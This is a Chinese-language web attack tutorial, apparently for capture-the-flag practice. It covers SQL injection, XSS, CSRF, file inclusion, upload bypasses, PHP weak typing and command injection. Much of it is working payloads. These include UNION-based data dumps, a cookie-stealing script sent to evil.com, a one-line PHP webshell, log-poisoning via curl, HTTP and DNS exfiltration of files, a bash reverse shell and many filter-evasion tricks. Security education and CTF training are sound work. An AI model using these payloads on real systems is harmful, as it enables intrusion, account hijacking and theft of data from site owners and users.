Web 网络攻防实战
每个漏洞的本质都是同一件事:用户输入越界了。输入本该是数据,却被当成了代码执行。本文不堆payload,只讲清楚一件事------每个漏洞为什么存在、怎么发现、怎么利用。
一、SQL 注入
本质
用户输入被拼进SQL语句,导致输入被当作SQL代码执行。
php
// 漏洞根源:字符串拼接
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// 输入 1 OR 1=1 → SELECT * FROM users WHERE id = 1 OR 1=1
// 输入从"数据"变成了"SQL代码"
识别
核心判断:输入是否改变了SQL的语义结构。
1. 注入探测字符:id=1' id=1" id=1) id=1'))
2. 观察响应:
- 报错回显 → 直接确认(看SQL错误信息)
- 页面差异 → 布尔盲注(AND 1=1 正常 vs AND 1=2 异常)
- 时间差异 → 时间盲注(AND SLEEP(5) 延迟5秒)
3. 不要只测URL参数------表单、Cookie、X-Forwarded-For、User-Agent 都是注入点
白盒直接看拼接:任何 $_GET/$_POST 直接出现在SQL字符串中就是漏洞。addslashes() 和 mysql_real_escape_string() 在GBK编码下可被宽字节绕过,intval() 对字符串型注入无效。
利用
注入的核心流程只有三步:判断列数 → 找回显位 → 爆数据。
sql
-- 1. 列数
?id=1 ORDER BY 3--+ -- 报错说明只有2列
-- 2. 回显位
?id=-1 UNION SELECT 1,2--+ -- 页面显示2 → 第2列回显
-- 3. 爆数据(沿 information_schema 逐层下钻)
?id=-1 UNION SELECT 1,database()--+
?id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
?id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password) FROM users--+
没有回显时用报错注入 (extractvalue/updatexml,限32字符,超长用substr截取)或盲注(二分法逐字符猜,写脚本自动化)。
绕过
绕过的本质是让WAF/过滤认不出,但数据库能执行。
| 过滤目标 | 绕过方法 | 原理 |
|---|---|---|
| 空格 | /**/ %09 %0a () |
注释/空白字符/括号替代空格 |
| 关键字SELECT | sElEcT selselectect /*!SELECT*/ |
大小写/双写/内联注释 |
| 引号 | 0x666c6167 CHAR(102,108,97,103) |
十六进制/char编码替代字符串 |
| 逗号 | JOIN 替代UNION列 OFFSET 替代LIMIT |
语法等价替换 |
| 转义函数 | %df%27 |
宽字节:%df%5c组成一个GBK汉字,%27逃逸 |
自动化
bash
sqlmap -u "URL?id=1" --dbs # 爆库
sqlmap -u "URL?id=1" -D 库名 --tables # 爆表
sqlmap -u "URL?id=1" -D 库名 -T 表名 --dump # 拖数据
sqlmap -u "URL" --data="user=a&pass=b" --dbs # POST注入
sqlmap -u "URL?id=1" --tamper=space2comment,between,randomcase --dbs # 绕WAF
二、XSS 跨站脚本
本质
用户输入被原样输出到HTML页面,导致输入被当作JavaScript执行。
php
// 漏洞根源:未转义输出
echo "搜索结果:" . $_GET['q'];
// 输入 <script>alert(1)</script> → 浏览器执行JS
识别
核心判断:输入是否出现在HTML中且未被转义。
1. 输入唯一标记(如 xss_test_12345)→ 确认回显位置
2. 输入 <script>alert(1)</script> → 观察是否执行
3. 根据回显位置判断类型:
- HTML标签之间 → 反射型/存储型
- HTML属性中 → 属性注入(需要闭合属性)
- JavaScript代码中 → DOM型(闭合script标签或利用DOM Sink)
输入点不只有URL参数和表单------User-Agent、Referer、Cookie、URL路径都可能。
利用
XSS的实战价值不是弹窗,是窃取身份。
javascript
// Cookie窃取 --- 最核心的利用方式
new Image().src="http://evil.com/steal?c="+document.cookie
// 利用链:XSS → 窃取Cookie → 替换Cookie → 劫持会话 → 以受害者身份操作
三种类型的攻击差异:
| 类型 | 触发方式 | 持久性 | 危害 |
|---|---|---|---|
| 反射型 | 点击恶意链接 | 一次性 | 需诱骗点击 |
| 存储型 | 输入被存入数据库 | 永久 | 所有访问者触发 |
| DOM型 | JS直接读取输入写入页面 | 一次性 | 不经过服务端 |
DOM型的关键在于危险Sink:innerHTML、document.write、eval()、setTimeout(字符串)------任何将用户输入直接写入DOM或执行的JS操作。
绕过
绕过滤的本质:用等价但未被过滤的语法达到同样效果。
html
<!-- 过滤 <script> → 用事件属性 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- 过滤 on事件 → 换标签/换事件/大小写 -->
<img src=x ONERROR=alert(1)>
<!-- 过滤 alert → 字符串拼接/编码 -->
<script>window['al'+'ert'](1)</script>
<script>alert`1`</script>
<!-- 过滤括号 → 模板字符串/HTML实体 -->
<script>alert`1`</script>
<svg onload=alert(1)>
<!-- CSP绕过 -->
<!-- 允许unsafe-eval → eval('al'+'ert(1)') -->
<!-- 允许外部域 → <script src="http://evil.com/xss.js"> -->
<!-- 允许base-uri → <base href="http://evil.com/"> 劫持相对路径 -->
三、CSRF 跨站请求伪造
本质
浏览器会自动携带目标域的Cookie,攻击者构造恶意页面让用户访问,浏览器自动带上Cookie发起请求------服务端无法区分是用户主动操作还是被诱导。
正常请求:用户点击按钮 → 浏览器带Cookie发请求 → 服务端验证Cookie通过
CSRF攻击:用户访问恶意页面 → 恶意页面自动发请求 → 浏览器同样带Cookie → 服务端同样通过
识别
核心判断:状态变更请求是否验证了来源。
1. 抓包看请求中有没有 CSRF Token
→ 没有 → 存在CSRF
→ 删掉Token重放 → 仍成功 → Token形同虚设
2. 是否验证 Referer/Origin
→ 没有 → 存在CSRF
3. 是否仅依赖Cookie认证
→ 是 → 大概率存在CSRF
4. GET请求是否执行状态变更(改密码/删数据)
→ 是 → 极易利用
白盒关键模式:
php
// 危险:无Token
if($_POST['new_pass']) { update_password($_POST['new_pass']); }
// 危险:Token可预测
$token = md5($uid); // 攻击者可算出
// 危险:Token只验证存在性
if(!isset($_POST['token'])) die(); // 随便填值就过
// 安全:随机Token + 一次性 + 绑定会话
$token = bin2hex(random_bytes(32));
if($_POST['token'] !== $_SESSION['csrf_token']) die();
unset($_SESSION['csrf_token']); // 用完即毁
利用
html
<!-- GET型 --- 一张图片就够了 -->
<img src="http://target.com/change_pass?new=hacked123" width="0" height="0">
<!-- POST型 --- 自动提交隐藏表单 -->
<form id="f" action="http://target.com/change_pass" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('f').submit();</script>
<!-- AJAX型 --- 可控制Content-Type -->
fetch("http://target.com/api/action", {
method: "POST",
credentials: "include",
body: "param=value"
});
绕过
| 防御措施 | 绕过方法 |
|---|---|
| Referer验证 | <meta name="referrer" content="no-referrer"> 删Referer头;白名单不严时注册子域名 |
| Token验证 | 可预测Token直接算;不绑定用户用别人的Token;不一次性重复使用;URL中的Token通过Referer泄露 |
| SameSite=Lax | GET请求仍携带Cookie,改用GET型CSRF |
| JSON Content-Type | 某些框架不校验Content-Type,用表单发送JSON格式的值 |
四、文件包含
本质
服务端根据用户输入决定包含哪个文件,攻击者控制路径后可以包含任意文件------被包含的文件会被当作代码执行。
php
// 漏洞根源:参数控制文件路径
include($_GET['page']);
// 输入 page=../../../etc/passwd → 读取系统文件
// 输入 page=php://input → 执行POST体中的PHP代码
识别
URL参数出现文件名/路径语义时重点测试。
?page=about → 可能是 include($_GET['page'] . '.php')
?file=content → 可能是 include($_GET['file'] . '.php')
?action=login → 可能是 include('pages/' . $_GET['action'] . '.php')
测试方法:
1. ?page=../../../etc/passwd → 能读取 → 确认LFI
2. ?page=php://filter/convert.base64-encode/resource=index.php → 返回base64源码 → 确认LFI
白盒搜索危险函数:include、require、include_once、require_once、file_get_contents、readfile------参数可被用户控制就是漏洞。
利用
LFI的利用分两条线:读文件和执行代码。
读文件线:
?page=../../../etc/passwd → 读系统文件
?page=php://filter/convert.base64-encode/resource=xxx → 读PHP源码(防执行)
执行代码线(关键:如何把PHP代码写进可被包含的文件):
php://input → POST体直接传PHP代码(需allow_url_include=On)
data://text/plain,<?php system('id');?> → data伪协议执行代码
日志包含 → 先在User-Agent注入代码,再包含/var/log/apache2/access.log
Session包含 → 先在登录表单注入代码,再包含/tmp/sess_<PHPSESSID>
日志包含是最常用的LFI→RCE手法:
bash
# Step1:在User-Agent中注入PHP代码
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step2:包含日志文件,通过cmd参数执行命令
?page=../../../var/log/apache2/access.log&cmd=cat /flag
RFI(远程文件包含)更直接------?page=http://evil.com/shell.txt,但需要 allow_url_include=On,实战中较少见。
绕过
php
// 后缀固定:include($_GET['page'] . '.php')
?page=../../../etc/passwd%00 // %00截断(PHP<5.3.4)
?page=php://filter/.../resource=index // filter伪协议不受后缀影响
// 前缀固定:include('pages/' . $_GET['page'])
?page=../../../etc/passwd // 目录穿越
?page=..%252f..%252f..%252fetc/passwd // 双编码绕过
五、文件上传
本质
服务端允许用户上传文件但未严格校验文件类型/内容,攻击者上传可执行的脚本文件(WebShell),通过访问该文件获得服务器控制权。
识别
1. 找上传点(头像/附件/图片/导入)
2. 判断服务端语言(响应头 X-Powered-By / Server)
3. 上传 .php 测试是否被拦截
4. 抓包判断:前端验证(改包即可绕)vs 后端验证(需分析逻辑)
利用
核心武器是一句话木马 + 绕过上传限制。
php
// 一句话木马
<?php @eval($_POST['cmd']); ?>
// 连接方式:用AntSword等工具连接,POST传 cmd=phpinfo();
直接上传被拦截时的攻击思路:
上传 .php 被拦截
→ 换后缀:.php5 .phtml .pht(看服务端是否解析)
→ 大小写:.PhP
→ 双写:.pphphp(过滤一次后变.php)
→ Windows特性:.php 、.php.、.php::$DATA
换后缀也不行
→ 上传图片马 + 配合文件包含执行
→ 上传 .htaccess 让图片当PHP解析
→ 上传 .user.ini(auto_prepend_file=shell.jpg)
Content-Type被检查
→ 抓包改 Content-Type: image/jpeg
文件内容被检查(文件头)
→ 图片马:GIF89a<?php @eval($_POST['cmd']); ?>
→ copy normal.jpg/b + shell.php/a webshell.jpg
二次渲染(图片被重新处理)
→ 对比上传前后图片,找到未修改区域注入代码
先保存再删除(条件竞争)
→ 并发上传+访问,在删除前执行代码
→ 木马内写创建新文件的逻辑:fputs(fopen('s.php','w'),'木马代码')
.htaccess攻击------上传配置文件让服务器把图片当PHP执行:
apache
AddType application/x-httpd-php .jpg
.user.ini攻击 ------PHP的每目录配置文件,auto_prepend_file=shell.jpg 会让该目录下每个PHP文件执行前先包含shell.jpg。
六、代码审计
本质
从源码中找到用户输入到危险函数的可达路径。
方法
两条路,殊途同归:
由内向外(敏感函数回溯):
搜索危险函数 → 追踪参数来源 → 判断是否用户可控
由外向内(输入追踪):
标记所有用户输入 → 追踪数据流向 → 判断是否到达危险函数
危险函数清单:
| 类别 | 函数 |
|---|---|
| 命令执行 | system exec passthru shell_exec popen |
| 代码执行 | eval assert preg_replace(/e) create_function call_user_func |
| 文件操作 | include file_get_contents file_put_contents fopen readfile |
| 数据库 | mysql_query mysqli_query $pdo->query |
| 反序列化 | unserialize |
常见漏洞模式
变量覆盖------用户输入覆盖了程序内部变量:
php
extract($_GET); // ?auth=1 → $auth=1
parse_str($_GET['data']); // ?data=auth=1 → $auth=1
$$key = $value; // foreach遍历GET参数 → 任意变量覆盖
逻辑漏洞------程序逻辑存在可利用的缺陷:
php
// 弱类型认证绕过
if($role != 'admin') die(); // role=0 → 0 != 'admin' 为false
// 先操作后校验(条件竞争)
move_uploaded_file($tmp, $path); // 先保存
if(!check_file($path)) unlink($path); // 再检查删除
// 攻击:在保存和删除之间访问文件
// strcmp返回NULL绕过
if(strcmp($_POST['pass'], $correct) == 0) login();
// password[]=1 → strcmp返回NULL → NULL==0 为true
正则绕过:
php
// 回溯限制绕过:pcre.backtrack_limit=1000000
// 超长输入让preg_match返回false,如果用 !preg_match 判断则绕过
// 修饰符缺失:缺/s不匹配换行,缺/i可大小写绕过
七、PHP 弱类型
本质
PHP用 == 比较不同类型时会自动转换,导致非预期相等。
核心规则:
字符串 vs 数字 → 字符串转数字(取开头数字部分,"abc"→0)
"0e..." 字符串 vs 数字 → 0e是科学计数法,0的N次方=0
null == 0 == false == "" == "0" → 全等
利用
0e MD5碰撞------最经典的弱类型考点:
php
// 题目:md5($a) == md5($b)
// 原理:两个不同字符串的MD5都以0e开头 → 都等于0 → 相等
QNKCDZO → md5 = 0e830400451993494058024219903391
240610708 → md5 = 0e462097431906509019562988736854
s878926199a → md5 = 0e545993274517709034328855841020
// 构造:?a=QNKCDZO&b=240610708
数组绕过 ------当 == 升级为 === 时:
php
// md5($a) === md5($b) → 用数组
// md5([]) 返回 NULL,NULL === NULL → true
// 构造:?a[]=1&b[]=2
strcmp绕过:
php
// strcmp($_POST['pass'], $correct) == 0
// 传数组 password[]=1 → strcmp返回NULL → NULL==0 为true
JSON类型混淆:
php
// $json->key == "admin"
// 传 {"key":0} → 0 == "admin" → true(PHP<8)
// 传 {"key":true} → true == "admin" → true
版本注意 :PHP 8 修复了大部分弱类型问题(0 == "admin" 变为 false),但CTF题目环境通常是 PHP 5/7。
八、命令执行(RCE)
本质
用户输入被传入系统命令执行函数,输入从参数变成了命令的一部分。
php
// 漏洞根源
system("ping -c 1 " . $_GET['ip']);
// 输入 127.0.0.1;cat /flag → 执行 ping 后再执行 cat /flag
识别
白盒搜索危险函数:
php
// 命令执行
system() exec() passthru() shell_exec() `反引号`
// 代码执行
eval() assert() preg_replace(/e) create_function()
利用
命令拼接------在已有命令后追加新命令:
bash
; # 顺序执行:ip=1;cat /flag
| # 管道:ip=1|cat /flag(只输出后者)
|| # 短路:ip=1||cat /flag(前者失败才执行后者)
&& # 短路:ip=1&&cat /flag(前者成功才执行后者)
%0a # 换行:ip=1%0acat /flag
$(cmd) # 子shell:ip=$(cat /flag)
无回显------命令执行了但看不到输出:
bash
# 外带数据
curl http://evil.com/$(cat /flag | base64) # HTTP外带
nslookup $(cat /flag).evil.com # DNS外带
# 写文件到Web目录
cat /flag > /var/www/html/f.txt
# 反弹Shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
绕过
空格被过滤:
bash
cat${IFS}/flag # $IFS是内部字段分隔符
cat$IFS$9/flag # $9通常为空
{cat,/flag} # 花括号展开
cat</flag # 重定向
关键字被过滤(如cat、flag):
bash
# cat绕过
ca''t /flag # 空串分割
c\a\t /flag # 反斜杠
c"a"t /flag # 引号分割
head /flag # 换命令(head/tail/more/sort/od/rev/paste)
# flag绕过
cat /f* # 通配符
cat /f??? # 单字符通配
a=fl;b=ag;cat /$a$b # 变量拼接
# 编码绕过
echo Y2F0IC9mbGFn | base64 -d | bash # base64
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") # 十六进制printf
九、攻击链组合
真实赛题不是单漏洞,而是多个漏洞串联。常见的链:
| 攻击链 | 流程 |
|---|---|
| 信息泄露→RCE | .git泄露→获取源码→发现文件包含点→日志包含→RCE |
| SQL注入→WebShell | SQL注入→获取管理员密码→登录后台→上传WebShell |
| XSS→后台接管 | XSS→窃取管理员Cookie→劫持会话→上传WebShell |
| SSRF→RCE | SSRF→探测内网→Redis未授权→写SSH密钥/计划任务→RCE |
| 上传+包含 | 上传图片马(无法直接执行)→文件包含图片马→代码执行 |
| 审计+弱类型+RCE | 源码审计→弱类型绕过认证→进入命令执行分支→RCE |
解题通用流程
1. 信息收集
源码(Ctrl+U) → JS/CSS文件 → HTTP响应头 → 目录扫描 → robots.txt → .git/.svn/.bak/.swp
2. 功能测试
每个输入点注入探测 → 每个上传点测试 → 登录/注册/搜索功能
3. 漏洞利用
先简单后复杂 → 单漏洞不通就想组合链
4. 找Flag
常见位置:/flag、/flag.php、环境变量、数据库
十、工具速查
| 工具 | 用途 | 核心用法 |
|---|---|---|
| Burp Suite | 抓包改包 | Proxy抓包→Repeater测试→Intruder爆破 |
| SQLMap | SQL注入 | sqlmap -u URL --dbs --tamper 绕WAF |
| dirsearch | 目录扫描 | dirsearch -u URL -e php,html,bak |
| AntSword | WebShell管理 | 连接一句话木马→文件管理/虚拟终端 |
| CyberChef | 编解码 | 在线 gchq.github.io/CyberChef |
bash
# 敏感文件快速检查
curl http://target.com/robots.txt
curl http://target.com/.git/HEAD
curl http://target.com/www.zip
curl http://target.com/index.php.bak
# Git泄露恢复
git-dumper http://target.com/.git/ ./output
# 端口扫描
nmap -sV -sC -p- target.com
攻防的核心逻辑:输入从数据变成代码,就是漏洞。 识别漏洞就是找输入越界的位置,利用漏洞就是构造让输入越界的payload,绕过防御就是用等价语法让过滤失效。记住这个逻辑,比记住一百个payload有用。